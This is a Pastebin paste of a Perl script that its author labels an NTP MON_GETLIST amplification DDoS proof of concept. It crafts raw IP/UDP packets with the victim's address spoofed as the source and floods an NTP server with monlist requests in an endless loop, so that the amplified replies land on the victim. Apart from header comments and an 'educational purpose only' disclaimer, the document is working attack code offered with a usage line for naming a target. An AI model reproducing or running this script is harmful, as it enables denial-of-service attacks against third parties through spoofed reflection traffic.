hackerscommunity

ntp MON_GETLIST query amplification ddos PoC exploit

Jul 14th, 2015
953
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 8.07 KB | None | 0 0
  1. #!/usr/bin/perl
  2. #
  3. #  ntp MON_GETLIST query amplification ddos
  4. #
  5. #  Copyright 2015 (c) Todor Donev
  6. #  http://www.ethical-hacker.org/
  7. #  https://www.facebook.com/ethicalhackerorg
  8. #
  9. #  A Network Time Protocol (NTP) Amplification
  10. #  attack is an emerging form of Distributed
  11. #  Denial of Service (DDoS) that relies on the
  12. #  use of publically accessible NTP servers to
  13. #  overwhelm a victim system with UDP traffic.
  14. #  The NTP service supports a monitoring service
  15. #  that allows administrators to query the server
  16. #  for traffic counts of connected clients. This
  17. #  information is provided via the “monlist”
  18. #  command. The basic attack technique consists
  19. #  of an attacker sending a "get monlist" request
  20. #  to a vulnerable NTP server, with the source
  21. #  address spoofed to be the victim’s address.
  22. #
  23. #
  24. #  Disclaimer:
  25. #  This or previous program is for Educational
  26. #  purpose ONLY. Do not use it without permission.
  27. #  The usual disclaimer applies, especially the
  28. #  fact that Todor Donev is not liable for any
  29. #  damages caused by direct or indirect use of the
  30. #  information or functionality provided by these
  31. #  programs. The author or any Internet provider
  32. #  bears NO responsibility for content or misuse
  33. #  of these programs or any derivatives thereof.
  34. #  By using these programs you accept the fact
  35. #  that any damage (dataloss, system crash,
  36. #  system compromise, etc.) caused by the use
  37. #  of these programs is not Todor Donev's
  38. #  responsibility.
  39. #
  40. #  Use at your own risk and educational
  41. #  purpose ONLY!
  42. #
  43. #  See also, UDP-based Amplification Attacks:
  44. #  https://www.us-cert.gov/ncas/alerts/TA14-017A
  45. #
  46. #
  47.  
  48. use Socket;
  49.  
  50. if ( $< != 0 ) {
  51.    print "Sorry, must be run as root!\n";
  52.    print "This script use RAW Socket.\n";
  53.    exit;
  54. }
  55.  
  56. my $ntpd            = (gethostbyname($ARGV[0]))[4];         # IP Address Destination        (32 bits)
  57. my $victim          = (gethostbyname($ARGV[1]))[4];         # IP Address Source             (32 bits)
  58.  
  59. print "[ ntpd MON_GETLIST query amplification ]\n";
  60. if (!defined $ntpd || !defined $victim) {
  61.     print "[ Usg: $0 <ntp server> <victim>\n";
  62.     print "[ <todor.donev\@gmail.com>  Todor Donev ]\n";
  63.     exit;
  64. }
  65. print "[ Sending NTP packets: $ARGV[0] -> $ARGV[1]\n";
  66. socket(RAW, PF_INET, SOCK_RAW, 255) or die $!;
  67. setsockopt(RAW, 0, 1, 1) or die $!;
  68. main();
  69.  
  70.     # Main program
  71. sub main {
  72.     my $packet;
  73.      
  74.     $packet = iphdr();
  75.     $packet .= udphdr();
  76.     $packet .= ntphdr();
  77.     # b000000m...
  78.     send_packet($packet);
  79. }
  80.  
  81.     # IP header (Layer 3)
  82. sub iphdr {
  83.     my $ip_ver          = 4;                    # IP Version 4          (4 bits)
  84.     my $iphdr_len       = 5;                    # IP Header Length      (4 bits)
  85.     my $ip_tos          = 0;                    # Differentiated Services   (8 bits)
  86.     my $ip_total_len    = $iphdr_len + 20;          # IP Header Length + Data   (16 bits)
  87.     my $ip_frag_id      = 0;                    # Identification Field      (16 bits)
  88.     my $ip_frag_flag    = 000;                  # IP Frag Flags (R DF MF)   (3 bits)
  89.     my $ip_frag_offset  = 0000000000000;            # IP Fragment Offset        (13 bits)
  90.     my $ip_ttl          = 255;                  # IP TTL            (8 bits)
  91.     my $ip_proto        = 17;                   # IP Protocol           (8 bits)
  92.     my $ip_checksum     = 0;                    # IP Checksum           (16 bits)
  93.  
  94.     # IP Packet
  95.     my $iphdr   = pack(
  96.             'H2 H2 n n B16 h2 c n a4 a4',
  97.             $ip_ver . $iphdr_len, $ip_tos,
  98.             $ip_total_len, $ip_frag_id,
  99.             $ip_frag_flag . $ip_frag_offset,
  100.             $ip_ttl, $ip_proto, $ip_checksum,
  101.             $victim, $ntpd
  102.             );
  103.             return $iphdr;
  104. }
  105.  
  106.     # UDP Header (Layer 4)
  107. sub udphdr {
  108.     my $udp_src_port    = 31337;            # UDP Sort Port     (16 bits) (0-65535)
  109.     my $udp_dst_port    = 123;              # UDP Dest Port     (16 btis) (0-65535)
  110.     my $udp_len     = 8 + length(ntphdr());     # UDP Length        (16 bits) (0-65535)
  111.     my $udp_checksum    = 0;                # UDP Checksum      (16 bits) (XOR of header)
  112.  
  113.     # UDP Packet
  114.     my $udphdr      = pack(
  115.             'n n n n',
  116.             $udp_src_port,
  117.             $udp_dst_port,
  118.             $udp_len,
  119.             $udp_checksum
  120.             );
  121.     return $udphdr;
  122. }
  123.  
  124.     # NTP Header (Layer 7)
  125. sub ntphdr {
  126.     my $rm_vn_mode  = 0x27;
  127.      
  128.         # Response bit to 0, More bit to 0, Version field to 2, Mode field to 7
  129.         #
  130.         # A mode 7 packet is used exchanging data between an NTP server
  131.         # and a client for purposes other than time synchronization, e.g.
  132.         # monitoring, statistics gathering and configuration.  A mode 7
  133.         # packet has the following format:
  134.         #
  135.         #    0                    1                   2                   3
  136.         #    0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
  137.         #   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  138.         #   |R|M| VN  | Mode|A|  Sequence   | Implementation|   Req Code    |
  139.         #   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  140.         #   |  Err  | Number of data items  |  MBZ  |   Size of data item   |
  141.         #   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  142.         #   |                                                               |
  143.         #   |            Data (Minimum 0 octets, maximum 500 octets)        |
  144.         #   |                                                               |
  145.         #   |                           [...]                               |
  146.         #   |                                                               |
  147.         #   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  148.         #   |               Encryption Keyid (when A bit set)               |
  149.         #   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  150.         #   |                                                               |
  151.         #   |          Message Authentication Code (when A bit set)         |
  152.         #   |                                                               |
  153.         #   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  154.         #
  155.         # where the fields are (note that the client sends requests, the server
  156.         # responses):
  157.         # Response Bit: This packet is a response (if clear, packet is a request).
  158.         # More Bit: Set for all packets but the last in a response which
  159.         #       requires more than one packet.
  160.         # Version Number: 2 for current version
  161.         # Mode: Always 7
  162.     my $auth        = 0x00;             # If set, this packet is authenticated.
  163.  
  164.     my $implementation  = 0x03;             # Iimplementation: 0x00 (UNIV), 0x02 (XNTPD_OLD), 0x03 (XNTPD)
  165.                             # The number of the implementation this request code
  166.                             # is defined by.  An implementation number of zero is used
  167.                             # for requst codes/data formats which all implementations
  168.                             # agree on.  Implementation number 255 is reserved (for
  169.                             # extensions, in case we run out).
  170.  
  171.     my $request     = 0x2a;             # Request code is an implementation-specific code which specifies the
  172.                             # operation to be (which has been) performed and/or the
  173.                             # format and semantics of the data included in the packet
  174.                             # 0x02 (PEER_INFO), 0x03 (PEER_STATS), 0x04 (SYS_INFO),
  175.                             # 0x04 (SYS_STATS), 0x2a (MON_GETLIST)  
  176.     # NTP packet
  177.     my $ntphdr      = pack(
  178.                         'W2 C2 C2 C2',
  179.             $rm_vn_mode,
  180.                         $auth,
  181.             $implementation,
  182.             $request
  183.             );
  184. return $ntphdr;
  185. }
  186.  
  187. sub send_packet {
  188.     while(1){
  189.     select(undef, undef, undef, 0.30);          # Sleep 300 milliseconds
  190.     send(RAW, $_[0], 0, pack('Sna4x8', AF_INET, 60, $ntpd)) or die $!;
  191.    }
  192. }
Advertisement
Add Comment
Please, Sign In to add comment